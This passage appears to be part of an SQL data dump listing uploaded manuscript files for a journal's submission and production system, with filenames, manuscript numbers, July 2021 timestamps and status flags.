09:19:50',1,3,0),(20296,9331,'9331-0-Manuscript-2021-07-09.doc',NULL,'2021-07-09 15:50:50',1,1,0),(20297,9332,'9332-0-Manuscript-2021-07-09.docx',NULL,'2021-07-09 16:23:49',1,1,0),(20298,9332,'9332-1-Manuscript-2021-07-09.docx',NULL,'2021-07-09 16:23:49',1,1,0),(20304,9338,'9338-0-Manuscript-2021-07-11.docx',NULL,'2021-07-11 17:20:02',1,1,0),(20305,9338,'9338-1-Manuscript-2021-07-11.docx',NULL,'2021-07-11 17:20:02',1,1,0),(20306,9338,'9338-2-Manuscript-2021-07-11.pptx',NULL,'2021-07-11 17:20:02',1,1,0),(20308,9340,'9340-0-Manuscript-2021-07-12.docx',NULL,'2021-07-12 01:36:23',1,1,0),(20316,9068,'9068-1892-Manuscript-proof-submission-2021-07-12.rar',NULL,'2021-07-12 04:27:18',1,3,0),(20317,9013,'9013-328-Manuscript-proof-submission-2021-07-12.rar',NULL,'2021-07-12 04:32:39',1,3,0),(20318,8902,'8902-1445-Manuscript-proof-submission-2021-07-12.rar',NULL,'2021-07-12 04:33:26',1,3,0),(20319,9343,'9343-0-Manuscript-2021-07-12.docx',NULL,'2021-07-12 04:50:27',1,1,0),(20335,8789,'8789-Manuscript-2021-07-12-o1pt-graphic-completed.pdf',NULL,'2021-07-12 05:55:25',1,3,1),(20357,8766,'8766-113-Manuscript-proof-submission-2021-07-12.rar',NULL,'2021-07-12 09:14:13',1,3,0),(20385,8845,'8845-Manuscript-2021-07-12-0lxa-move-pdf-making.rar',NULL,'2021-07-12 12:19:00',1,3,1),(20386,8845,'8845-Manuscript-2021-07-12-gc1w-move-pdf-making.pdf',NULL,'2021-07-12 12:25:15',1,3,0),(20390,9375,'9375-0-Manuscript-2021-07-12.doc',NULL,'2021-07-12 15:30:37',1,1,0),(20399,9377,'9377-0-Manuscript-2021-07-13.docx',NULL,'2021-07-12 18:31:08',1,1,0),(20400,9377,'9377-1-Manuscript-2021-07-13.doc',NULL,'2021-07-12 18:31:08',1,1,0),(20401,9377,'9377-2-Manuscript-2021-07-13.docx',NULL,'2021-07-12 18:31:08',1,1,0),(20402,9377,'9377-3-Manuscript-2021-07-13.docx',NULL,'2021-07-12 18:31:08',1,1,0),(20403,9377,'9377-4-Manuscript-2021-07-13.docx',NULL,'2021-07-12 18:31:08',1,1,0),(20410,9381,'9381-0-Manuscript-2021-07-13.docx',NULL,'2021-07-13 00:04:02',1,1,0),(20413,8845,'8845-Manuscript-2021-07-13-lib4-graphic-completed.pdf',NULL,'2021-07-13 04:04:46',1,3,0),(20435,8999,'8999-225-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:20:35',1,3,0),(20436,8999,'8999-1055-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:20:35',1,3,0),(20437,8999,'8999-991-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:20:35',1,3,0),(20438,9022,'9022-2014-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:21:20',1,3,0),(20439,9022,'9022-1039-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:21:20',1,3,0),(20440,9022,'9022-664-Manuscript-proof-submission-2021-07-13.docx',NULL,'2021-07-13 05:21:20',1,3,0),(20441,8845,'8845-Manuscript-2021-07-13-hk6t-graphic-completed.pdf',NULL,'2021-07-13 05:23:04',1,3,0),(20442,8534,'8534-Manuscript-2021-07-13-09nr-rsuite-revised.docx',NULL,'2021-07-13 05:28:25',1,3,1),(20443,8572,'8572-Manuscript-2021-07-13-07ed-rsuite-revised.docx',NULL,'2021-07-13 05:29:26',1,3,1),(20459,8572,'8572-Manuscript-2021-07-13-iqwj-rsuite-completed.pdf',NULL,'2021-07-13 07:02:21',1,3,0),(20460,8534,'8534-Manuscript-2021-07-13-ex3n-rsuite-completed.pdf',NULL,'2021-07-13 07:03:23',1,3,1),(20461,8572,'8572-Manuscript-2021-07-13-71sk-move-pdf-making.docx',NULL,'2021-07-13 07:37:09',1,3,0),(20464,8898,'8898-Manuscript-2021-07-13-fnld-ipacm-21-8898.rar',NULL,'2021-07-13 07:56:01',1,3,0),(20465,8945,'8945-Manuscript-2021-07-13-w2fv-ipacm-21-8945.docx',NULL,'2021-07-13 07:56:42',1,3,0),(20466,8999,'8999-Manuscript-2021-07-13-cs2z-ipacm-21-8999.rar',NULL,'2021-07-13 07:58:14',1,3,0),(20467,9022,'9022-Manuscript-2021-07-13-51gq-ipacm-21-9022.rar',NULL,'2021-07-13 07:59:19',1,3,0),(20471,8596,'8596-Manuscript-2021-07-13-x7av.pdf',NULL,'2021-07-13 08:20:30',1,3,0),(20472,9394,'9394-0-Manuscript-2021-07-13.docx',NULL,'2021-07-13 08:20:44',1,1,0),(20473,9394,'9394-1-Manuscript-2021-07-13.docx',NULL,'2021-07-13 08:20:44',1,1,0),(20474,9394,'9394-2-Manuscript-2021-07-13.docx',NULL,'2021-07-13 08:20:44',1,1,0),(20475,9394,'9394-3-Manuscript-2021-07-13.docx',NULL,'2021-07-13 08:20:44',1,1,0),(20477,8598,'8598-Manuscript-2021-07-13-coy0.pdf',NULL,'2021-07-13 08:21:05',1,3,0),(20478,8584,'8584-Manuscript-2021-07-13-pl2g.docx',NULL,'2021-07-13 08:23:14',1,3,0),(20479,8572,'8572-Manuscript-2021-07-13-gp6y-rsuite-completed.pdf',NULL,'2021-07-13 08:23:45',1,3,0),(20481,9397,'9397-0-Manuscript-2021-07-13.pdf',NULL,'2021-07-13 08:32:30',1,1,0),(20498,9398,'9398-0-Manuscript-2021-07-13.docx',NULL,'2021-07-13 09:42:49',1,1,0),(20513,9105,'9105-1977-Manuscript-proof-submission-2021-07-13.rar',NULL,'2021-07-13 12:16:52',1,3,0),(20514,8873,'8873-985-Manuscript-proof-submission-2021-07-13.zip',NULL,'2021-07-13 12:29:12',1,3,0),(20516,9405,'9405-0-Manuscript-2021-07-13.docx',NULL,'2021-07-13 18:22:39',1,1,0),(20517,9406,'9406-0-Manuscript-2021-07-14.docx',NULL,'2021-07-13 22:01:02',1,1,0),(20518,9381,'9381-323-Manuscript-2021-07-14.docx',NULL,'2021-07-14 02:21:44',1,1,0),(20519,9381,'9381-364-Manuscript-2021-07-14.jpg',NULL,'2021-07-14 02:21:44',1,1,0),(20520,9381,'9381-464-Manuscript-2021-07-14.jpg',NULL,'2021-07-14 02:21:44',1,1,0),(20521,9381,'9381-1504-Manuscript-2021-07-14.jpg',NULL,'2021-07-14 02:21:44',1,1,0),(20522,9381,'9381-1796-Manuscript-2021-07-14.jpg',NULL,'2021-07-14 02:21:44',1,1,0),(20530,9408,'9408-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 04:45:20',1,1,0),(20531,9409,'9409-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 04:49:09',1,1,0),(20533,9410,'9410-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 04:54:56',1,1,0),(20534,9411,'9411-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 05:19:15',1,1,0),(20559,9419,'9419-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 06:49:40',1,1,0),(20560,9420,'9420-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 07:02:52',1,1,0),(20561,9421,'9421-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 07:08:16',1,1,0),(20562,9422,'9422-0-Manuscript-2021-07-14.docx',NULL,'2021-07-14 07:13:47',1,1,0),(20596,8729,'8729-140-Manuscript-proof-submission-2021-07-14.zip',NULL,'2021-07-14 09:47:21',1,3,0),(20600,8729,'8729-582-Manuscript-proof-submission-2021-07-14.zip',NULL,'2021-07-14 09:48:33',1,3,0),(20601,8150,'8150-810-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 09:49:48',1,3,0),(20602,8150,'8150-374-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 09:49:48',1,3,0),(20603,8150,'8150-1996-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 09:49:48',1,3,0),(20623,8150,'8150-790-Manuscript-proof-submission-2021-07-14.zip',NULL,'2021-07-14 10:32:42',1,3,0),(20635,8873,'8873-Manuscript-2021-07-14-1rxq-ipaom-21-8873.rar',NULL,'2021-07-14 11:19:46',1,3,1),(20650,9112,'9112-151-Manuscript-proof-submission-2021-07-14.rar',NULL,'2021-07-14 11:45:07',1,3,0),(20651,8729,'8729-171-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:12',1,3,0),(20652,8729,'8729-1360-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:12',1,3,0),(20653,8729,'8729-1414-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:12',1,3,0),(20654,8729,'8729-1109-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:12',1,3,0),(20655,8729,'8729-520-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:33',1,3,0),(20656,8729,'8729-2014-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:04:49',1,3,0),(20657,8729,'8729-815-Manuscript-proof-submission-2021-07-14.docx',NULL,'2021-07-14 12:05:00',1,3,0),(20664,9436,'9436-0-Manuscript-2021-07-15.docx',NULL,'2021-07-15 03:57:29',1,1,0),(20681,8873,'8873-Manuscript-2021-07-15-g81p-graphic-completed.pdf',NULL,'2021-07-15 05:30:36',1,3,0),(20682,8707,'8707-936-Manuscript-2021-07-15.docx',NULL,'2021-07-15 05:33:12',1,2,0),(20683,8707,'8707-1151-Manuscript-2021-07-15.docx',NULL,'2021-07-15 05:33:22',1,2,0),(20688,9444,'9444-0-Manuscript-2021-07-15.docx',NULL,'2021-07-15 06:07:09',1,1,0),(20691,8150,'8150-312-Manuscript-proof-submission-2021-07-15.docx',NULL,'2021-07-15 06:38:56',1,3,0),(20692,8150,'8150-156-Manuscript-proof-submission-2021-07-15.docx',NULL,'2021-07-15 06:38:56',1,3,0),(20693,8150,'8150-596-Manuscript-proof-submission-2021-07-15.docx',NULL,'2021-07-15 06:38:56',1,3,0),(20695,8766,'8766-Manuscript-2021-07-15-bsjc-iphsj-21-8766.rar',NULL,'2021-07-15 06:56:10',1,3,1),(20703,8513,'8513-475-Manuscript-2021-07-15.docx',NULL,'2021-07-15 08:32:02',1,2,0),(20711,9451,'9451-0-Manuscript-2021-07-15.docx',NULL,'2021-07-15 09:05:22',1,1,0),(20712,9452,'9452-0-Manuscript-2021-07-15.docx',NULL,'2021-07-15 09:06:28',1,1,0),(20741,8902,'8902-Manuscript-2021-07-15-h4c6-iphsj-21-8902.rar',NULL,'2021-07-15 12:29:25',1,3,1),(20747,9466,'9466-0-Manuscript-2021-07-15.docx',NULL,'2021-07-15 16:27:01',1,1,0),(20748,9466,'9466-1-Manuscript-2021-07-15.ppt',NULL,'2021-07-15 16:27:01',1,1,0),(20749,9466,'9466-2-Manuscript-2021-07-15.ppt',NULL,'2021-07-15 16:27:01',1,1,0),(20750,9466,'9466-3-Manuscript-2021-07-15.tif',NULL,'2021-07-15 16:27:01',1,1,0),(20751,9466,'9466-4-Manuscript-2021-07-15.docx',NULL,'2021-07-15 16:27:01',1,1,0),(20752,9466,'9466-5-Manuscript-2021-07-15.docx',NULL,'2021-07-15 16:27:01',1,1,0),(20753,9466,'9466-6-Manuscript-2021-07-15.docx',NULL,'2021-07-15 16:27:01',1,1,0),(20768,8150,'8150-1859-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:34:42',1,3,0),(20769,8150,'8150-1486-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:34:42',1,3,0),(20770,8150,'8150-777-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:34:42',1,3,0),(20771,8729,'8729-1752-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:35:28',1,3,0),(20772,8729,'8729-1584-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:35:28',1,3,0),(20773,8729,'8729-435-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:35:28',1,3,0),(20774,8729,'8729-1498-Manuscript-proof-submission-2021-07-16.docx',NULL,'2021-07-16 04:35:28',1,3,0),(20775,8729,'8729-Manuscript-2021-07-16-zsxe-ipjnn-21-8729.rar',NULL,'2021-07-16 04:36:57',1,3,1),(20776,8150,'8150-Manuscript-2021-07-16-n605-ipjnn-21-8150.rar',NULL,'2021-07-16 04:37:33',1,3,1),(20777,8513,'8513-934-Manuscript-proof-submission-2021-07-16.zip',NULL,'2021-07-16 04:41:02',1,3,0),(20779,8729,'8729-Manuscript-2021-07-16-s9lp-graphic-completed.pdf',NULL,'2021-07-16 04:54:29',1,3,0),(20780,8150,'8150-Manuscript-2021-07-16-no3u-graphic-completed.pdf',NULL,'2021-07-16 04:55:13',1,3,0),(20787,9472,'9472-0-Manuscript-2021-07-16.docx',NULL,'2021-07-16 05:45:39',1,1,0),(20788,9472,'9472-1-Manuscript-2021-07-16.docx',NULL,'2021-07-16 05:45:39',1,1,0),(20794,8902,'8902-Manuscript-2021-07-16-ma9u-graphic-completed.pdf',NULL,'2021-07-16 06:11:29',1,3,1),(20814,8729,'8729-Manuscript-2021-07-16-owm4.pdf',NULL,'2021-07-16 08:19:04',1,3,0),(20815,8150,'8150-Manuscript-2021-07-16-hfjd.pdf',NULL,'2021-07-16 08:19:43',1,3,0),(20824,8766,'8766-Manuscript-2021-07-16-5bwm-graphic-completed.pdf',NULL,'2021-07-16 08:43:44',1,3,1),(20831,8513,'8513-Manuscript-2021-07-16-8z6i-ipaom-21-8513.rar',NULL,'2021-07-16 09:04:20',1,3,1),(20861,9494,'9494-0-Manuscript-2021-07-16.docx',NULL,'2021-07-16 10:20:42',1,1,0),(20875,8513,'8513-Manuscript-2021-07-16-jd4a-graphic-completed.pdf',NULL,'2021-07-16 11:43:41',1,3,0),(20882,8729,'8729-Manuscript-2021-07-16-4xfn-ap-ame-revised.pdf',NULL,'2021-07-16 12:09:07',1,3,0),(20889,9502,'9502-0-Manuscript-2021-07-16.pdf',NULL,'2021-07-16 15:31:44',1,1,0),(20890,9502,'9502-1-Manuscript-2021-07-16.jpg',NULL,'2021-07-16 15:31:44',1,1,0),(20891,9502,'9502-2-Manuscript-2021-07-16.pdf',NULL,'2021-07-16 15:31:44',1,1,0),(20892,9502,'9502-3-Manuscript-2021-07-16.pdf',NULL,'2021-07-16 15:31:44',1,1,0),(20893,9502,'9502-4-Manuscript-2021-07-16.pdf',NULL,'2021-07-16 15:31:44',1,1,0),(20900,8707,'8707-799-Manuscript-proof-submission-2021-07-17.rar',NULL,'2021-07-17 03:56:53',1,3,1),(20901,8729,'8729-Manuscript-2021-07-17-7rmo.pdf',NULL,'2021-07-17 04:15:59',1,3,0),(20942,9276,'9276-1653-Manuscript-2021-07-17.docx',NULL,'2021-07-17 16:59:46',1,2,0),(20943,9276,'9276-586-Manuscript-2021-07-17.docx',NULL,'2021-07-17 17:00:28',1,2,0),(20944,9276,'9276-1494-Manuscript-2021-07-17.docx',NULL,'2021-07-17 17:01:12',1,2,0),(20945,9517,'9517-0-Manuscript-2021-07-17.doc',NULL,'2021-07-17 18:08:55',1,1,0),(20947,9519,'9519-0-Manuscript-2021-07-18.docx',NULL,'2021-07-17 22:48:40',1,1,0),(20949,9521,'9521-0-Manuscript-2021-07-18.doc',NULL,'2021-07-18 14:09:06',1,1,0),(20950,9521,'9521-1-Manuscript-2021-07-18.doc',NULL,'2021-07-18 14:09:06',1,1,0),(20951,9521,'9521-2-Manuscript-2021-07-18.pdf',NULL,'2021-07-18 14:09:06',1,1,0),(20952,9521,'9521-3-Manuscript-2021-07-18.pdf',NULL,'2021-07-18 14:09:06',1,1,0),(20953,9521,'9521-4-Manuscript-2021-07-18.pdf',NULL,'2021-07-18 14:09:06',1,1,0),(20954,9521,'9521-5-Manuscript-2021-07-18.pdf',NULL,'2021-07-18 14:09:06',1,1,0),(20955,9521,'9521-6-Manuscript-2021-07-18.pdf',NULL,'2021-07-18 14:09:06',1,1,0),(20984,8707,'8707-Manuscript-2021-07-19-fkyq-graphic-completed.pdf',NULL,'2021-07-19 06:29:55',1,3,1),(20988,9134,'9134-93-Manuscript-proof-submission-2021-07-19.docx',NULL,'2021-07-19 07:47:49',1,3,0),(20989,9134,'9134-1678-Manuscript-proof-submission-2021-07-19.docx',NULL,'2021-07-19 07:47:49',1,3,0),(21003,9537,'9537-0-Manuscript-2021-07-19.docx',NULL,'2021-07-19 09:06:53',1,1,0),(21022,9538,'9538-0-Manuscript-2021-07-19.docx',NULL,'2021-07-19 09:46:32',1,1,0),(21028,9539,'9539-0-Manuscript-2021-07-19.pdf',NULL,'2021-07-19 10:04:17',1,1,0),(21036,9543,'9543-0-Manuscript-2021-07-19.pdf',NULL,'2021-07-19 10:58:48',1,1,0),(21038,9134,'9134-Manuscript-2021-07-19-wzcj-iphspr-21-9134.docx',NULL,'2021-07-19 11:42:05',1,3,0),(21064,9251,'9251-595-Manuscript-proof-submission-2021-07-20.docx',NULL,'2021-07-20 03:39:59',1,3,0),(21071,9555,'9555-0-Manuscript-2021-07-20.docx',NULL,'2021-07-20 04:19:32',1,1,0),(21073,9557,'9557-0-Manuscript-2021-07-20.docx',NULL,'2021-07-20 04:20:39',1,1,0),(21075,9558,'9558-0-Manuscript-2021-07-20.docx',NULL,'2021-07-20 04:33:18',1,1,0),(21077,9560,'9560-0-Manuscript-2021-07-20.docx',NULL,'2021-07-20 04:42:54',1,1,0),(21092,7903,'7903-Manuscript-2021-07-20-nria.pdf',NULL,'2021-07-20 05:19:42',1,3,0),(21115,9022,'9022-Manuscript-2021-07-20-t50n-graphic-completed.pdf',NULL,'2021-07-20 07:25:14',1,3,0),(21116,8999,'8999-Manuscript-2021-07-20-d9tg-graphic-completed.pdf',NULL,'2021-07-20 07:25:46',1,3,0),(21117,8898,'8898-Manuscript-2021-07-20-gsro-graphic-completed.pdf',NULL,'2021-07-20 07:26:26',1,3,0),(21118,8945,'8945-Manuscript-2021-07-20-16wi-graphic-completed.pdf',NULL,'2021-07-20 07:27:27',1,3,0),(21119,9134,'9134-Manuscript-2021-07-20-d4rv-iphspr-21-9134.docx',NULL,'2021-07-20 07:41:49',1,3,0),(21130,9251,'9251-Manuscript-2021-07-20-oqwt-move-pdf-making.docx',NULL,'2021-07-20 08:54:08',1,3,0),(21131,9251,'9251-Manuscript-2021-07-20-pcn5-move-pdf-making.pdf',NULL,'2021-07-20 08:54:46',1,3,0),(21137,8513,'8513-Manuscript-2021-07-20-j8a2.pdf',NULL,'2021-07-20 09:22:51',1,3,0),(21141,8513,'8513-Manuscript-2021-07-20-nfpw-graphic-completed.pdf',NULL,'2021-07-20 11:16:42',1,3,0),(21144,9134,'9134-Manuscript-2021-07-20-strv-rsuite-completed.pdf',NULL,'2021-07-20 11:20:57',1,3,0),(21155,9580,'9580-0-Manuscript-2021-07-21.docx',NULL,'2021-07-21 03:47:46',1,1,0),(21160,9116,'9116-Manuscript-2021-07-21-9umn-move-pdf-making.docx',NULL,'2021-07-21 04:20:40',1,3,0),(21161,9116,'9116-Manuscript-2021-07-21-318m-move-pdf-making.docx',NULL,'2021-07-21 04:21:32',1,3,0),(21162,9117,'9117-Manuscript-2021-07-21-qykn-move-pdf-making.docx',NULL,'2021-07-21 04:23:10',1,3,0),(21163,9117,'9117-Manuscript-2021-07-21-ihq8-move-pdf-making.docx',NULL,'2021-07-21 04:23:30',1,3,0),(21164,9137,'9137-Manuscript-2021-07-21-t3up-move-pdf-making.docx',NULL,'2021-07-21 04:24:58',1,3,0),(21165,9137,'9137-Manuscript-2021-07-21-jgu9-move-pdf-making.docx',NULL,'2021-07-21 04:25:43',1,3,0),(21182,9034,'9034-326-Manuscript-proof-submission-2021-07-21.docx',NULL,'2021-07-21 05:10:54',1,3,0),(21183,9034,'9034-1120-Manuscript-proof-submission-2021-07-21.docx',NULL,'2021-07-21 05:10:57',1,3,0),(21191,9034,'9034-Manuscript-2021-07-21-oib0-move-pdf-making.docx',NULL,'2021-07-21 05:49:49',1,3,0),(21192,9034,'9034-Manuscript-2021-07-21-f7m6-move-pdf-making.docx',NULL,'2021-07-21 05:51:06',1,3,0),(21199,9251,'9251-Manuscript-2021-07-21-15ql-rsuite-completed.pdf',NULL,'2021-07-21 08:16:06',1,3,0),(21200,9034,'9034-Manuscript-2021-07-21-v2zi-rsuite-completed.pdf',NULL,'2021-07-21 08:38:39',1,3,0),(21225,9160,'9160-1559-Manuscript-proof-submission-2021-07-21.rar',NULL,'2021-07-21 12:05:35',1,3,0),(21227,9068,'9068-Manuscript-2021-07-21-wzey-iphsj-21-9068.rar',NULL,'2021-07-21 13:18:17',1,3,1),(21229,9603,'9603-0-Manuscript-2021-07-21.docx',NULL,'2021-07-21 18:11:46',1,1,0),(21239,9611,'9611-0-Manuscript-2021-07-22.docx',NULL,'2021-07-22 04:08:22',1,1,0),(21241,9112,'9112-1105-Manuscript-proof-submission-2021-07-22.rar',NULL,'2021-07-22 04:41:18',1,3,0),(21244,9068,'9068-Manuscript-2021-07-22-yv9q-graphic-completed.pdf',NULL,'2021-07-22 05:09:37',1,3,1),(21249,9616,'9616-0-Manuscript-2021-07-22.docx',NULL,'2021-07-22 05:46:24',1,1,0),(21253,8158,'8158-1960-Manuscript-proof-submission-2021-07-22.rar',NULL,'2021-07-22 06:41:01',1,3,0),(21264,8838,'8838-252-Manuscript-proof-submission-2021-07-22.rar',NULL,'2021-07-22 08:18:45',1,3,0),(21272,9627,'9627-0-Manuscript-2021-07-22.docx',NULL,'2021-07-22 08:34:45',1,1,0),(21293,9276,'9276-476-Manuscript-proof-submission-2021-07-22.rar',NULL,'2021-07-22 09:37:03',1,3,0),(21327,9637,'9637-0-Manuscript-2021-07-22.docx',NULL,'2021-07-22 14:43:11',1,1,0),(21332,9639,'9639-0-Manuscript-2021-07-23.docx',NULL,'2021-07-22 20:44:09',1,1,0),(21333,9640,'9640-0-Manuscript-2021-07-23.docx',NULL,'2021-07-22 23:56:23',1,1,0),(21334,9641,'9641-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 00:19:30',1,1,0),(21335,8864,'8864-1845-Manuscript-proof-submission-2021-07-23.rar',NULL,'2021-07-23 03:43:50',1,3,0),(21336,8864,'8864-1381-Manuscript-proof-submission-2021-07-23.rar',NULL,'2021-07-23 03:43:51',1,3,0),(21343,9647,'9647-0-Manuscript-2021-07-23.doc',NULL,'2021-07-23 04:54:32',1,1,0),(21348,9650,'9650-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 05:34:03',1,1,0),(21350,9651,'9651-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 05:40:06',1,1,0),(21357,8403,'8403-Manuscript-2021-07-23-vlkm.rar',NULL,'2021-07-23 06:29:26',1,3,0),(21362,9233,'9233-73-Manuscript-proof-submission-2021-07-23.rar',NULL,'2021-07-23 06:52:29',1,3,0),(21376,8953,'8953-Manuscript-2021-07-23-eu5g-iphsj-21-8953.rar',NULL,'2021-07-23 08:47:19',1,3,0),(21377,9663,'9663-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 08:48:48',1,1,0),(21378,9664,'9664-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 08:55:54',1,1,0),(21379,9665,'9665-0-Manuscript-2021-07-23.docx',NULL,'2021-07-23 08:59:43',1,1,0),(21384,9251,'9251-Manuscript-2021-07-23-54vf.pdf',NULL,'2021-07-23 09:15:45',1,3,0),(21385,9409,'9409-1751-Manuscript-proof-submission-2021-07-23.pdf',NULL,'2021-07-23 09:23:45',1,3,0),(21386,9013,'9013-Manuscript-2021-07-23-1slm-iphsj-21-9013.docx',NULL,'2021-07-23 09:29:35',1,3,0),(21387,9013,'9013-Manuscript-2021-07-23-028m-iphsj-21-9013.docx',NULL,'2021-07-23 09:30:19',1,3,0),(21388,9105,'9105-Manuscript-2021-07-23-1grb-iphsj-21-9105.docx',NULL,'2021-07-23 09:46:36',1,3,0),(21389,9105,'9105-Manuscript-2021-07-23-eou5-iphsj-21-9105.docx',NULL,'2021-07-23 09:46:46',1,3,0),(21390,9105,'9105-Manuscript-2021-07-23-143p-iphsj-21-9105.docx',NULL,'2021-07-23 09:47:14',1,3,0),(21393,7903,'7903-Manuscript-2021-07-23-srj3.pdf',NULL,'2021-07-23 10:06:28',1,3,0),(21395,9331,'9331-299-Manuscript-proof-submission-2021-07-23.rar',NULL,'2021-07-23 10:15:43',1,3,0),(21396,9112,'9112-Manuscript-2021-07-23-j6se-iphsj-21-9112.rar',NULL,'2021-07-23 10:20:48',1,3,0),(21403,9160,'9160-Manuscript-2021-07-23-4iks-iphsj-21-9160.rar',NULL,'2021-07-23 11:04:21',1,3,0),(21407,9233,'9233-Manuscript-2021-07-23-97io-iphsj-21-9233.rar',NULL,'2021-07-23 11:20:42',1,3,0),(21409,8239,'8239-1473-Manuscript-proof-submission-2021-07-23.docx',NULL,'2021-07-23 11:36:29',1,3,0),(21410,8239,'8239-385-Manuscript-proof-submission-2021-07-23.PNG',NULL,'2021-07-23 11:36:29',1,3,0),(21411,8239,'8239-533-Manuscript-proof-submission-2021-07-23.PNG',NULL,'2021-07-23 11:36:29',1,3,0),(21412,8239,'8239-1765-Manuscript-proof-submission-2021-07-23.PNG',NULL,'2021-07-23 11:36:29',1,3,0),(21413,8953,'8953-Manuscript-2021-07-23-o7wy-ap-ame-revised.rar',NULL,'2021-07-23 11:42:56',1,3,0),(21416,8114,'8114-Manuscript-2021-07-23-8e9w-ap-ame-revised.rar',NULL,'2021-07-23 11:50:57',1,3,0),(21421,9105,'9105-Manuscript-2021-07-23-gqk8-ap-ame-revised.rar',NULL,'2021-07-23 12:46:34',1,3,0),(21465,9160,'9160-Manuscript-2021-07-24-6lm4-ap-ame-revised.rar',NULL,'2021-07-24 07:14:00',1,3,0),(21466,9233,'9233-Manuscript-2021-07-24-ch87-ap-ame-revised.rar',NULL,'2021-07-24 07:17:22',1,3,0),(21476,8838,'8838-Manuscript-2021-07-26-oa0l-ipadm-21-8838.rar',NULL,'2021-07-26 04:19:10',1,3,1),(21477,9276,'9276-Manuscript-2021-07-26-b92y-ipadm-21-9276.rar',NULL,'2021-07-26 04:20:45',1,3,1),(21485,9713,'9713-0-Manuscript-2021-07-26.docx',NULL,'2021-07-26 04:52:25',1,1,0),(21508,9537,'9537-1679-Manuscript-proof-submission-2021-07-26.pdf',NULL,'2021-07-26 05:25:05',1,3,0),(21559,9537,'9537-Manuscript-2021-07-26-5pgr-move-pdf-making.pdf',NULL,'2021-07-26 07:09:25',1,3,0),(21560,9409,'9409-Manuscript-2021-07-26-ljad-move-pdf-making.pdf',NULL,'2021-07-26 07:11:30',1,3,0),(21575,9034,'9034-Manuscript-2021-07-26-noum-move-pdf-making.pdf',NULL,'2021-07-26 08:39:59',1,3,0),(21588,8864,'8864-Manuscript-2021-07-26-wpay-move-pdf-making.pdf',NULL,'2021-07-26 09:02:10',1,3,0),(21595,8864,'8864-Manuscript-2021-07-26-bu4r-move-pdf-making.pdf',NULL,'2021-07-26 09:18:22',1,3,0),(21606,9743,'9743-0-Manuscript-2021-07-26.docx',NULL,'2021-07-26 09:46:38',1,1,0),(21610,9744,'9744-0-Manuscript-2021-07-26.docx',NULL,'2021-07-26 10:11:58',1,1,0),(21612,9745,'9745-0-Manuscript-2021-07-26.docx',NULL,'2021-07-26 10:22:07',1,1,0),(21615,9013,'9013-Manuscript-2021-07-26-nh0r-ap-ame-revised.rar',NULL,'2021-07-26 11:21:43',1,3,0),(21628,9303,'9303-1207-Manuscript-proof-submission-2021-07-26.zip',NULL,'2021-07-26 12:32:32',1,3,0),(21631,9752,'9752-0-Manuscript-2021-07-26.docx',NULL,'2021-07-26 14:09:33',1,1,0),(21632,9752,'9752-1-Manuscript-2021-07-26.docx',NULL,'2021-07-26 14:09:33',1,1,0),(21633,9752,'9752-2-Manuscript-2021-07-26.pptx',NULL,'2021-07-26 14:09:33',1,1,0),(21634,9753,'9753-0-Manuscript-2021-07-26.pdf',NULL,'2021-07-26 15:30:45',1,1,0),(21662,8838,'8838-Manuscript-2021-07-27-3sxc-graphic-completed.pdf',NULL,'2021-07-27 06:09:40',1,3,1),(21663,9276,'9276-Manuscript-2021-07-27-aior-graphic-completed.pdf',NULL,'2021-07-27 06:10:09',1,3,1),(21681,9651,'9651-1487-Manuscript-proof-submission-2021-07-27.docx',NULL,'2021-07-27 07:55:07',1,3,0),(21685,9331,'9331-Manuscript-2021-07-27-gzpn-iphsj-21-9331.rar',NULL,'2021-07-27 08:22:07',1,3,1),(21687,9233,'9233-Manuscript-2021-07-27-agck-iphsj-21-9233.rar',NULL,'2021-07-27 08:50:45',1,3,1),(21688,9770,'9770-0-Manuscript-2021-07-27.docx',NULL,'2021-07-27 08:53:31',1,1,0),(21689,9160,'9160-Manuscript-2021-07-27-qanz-iphsj-21-9160.rar',NULL,'2021-07-27 08:53:58',1,3,1),(21693,9105,'9105-Manuscript-2021-07-27-b6cw-iphsj-21-9105.rar',NULL,'2021-07-27 09:00:09',1,3,1),(21695,9013,'9013-Manuscript-2021-07-27-ow2l-iphsj-21-9013.rar',NULL,'2021-07-27 09:07:21',1,3,1),(21701,8953,'8953-Manuscript-2021-07-27-dqo0-iphsj-21-8953.rar',NULL,'2021-07-27 09:24:07',1,3,1),(21704,9772,'9772-0-Manuscript-2021-07-27.docx',NULL,'2021-07-27 09:59:36',1,1,0),(21705,9772,'9772-1-Manuscript-2021-07-27.docx',NULL,'2021-07-27 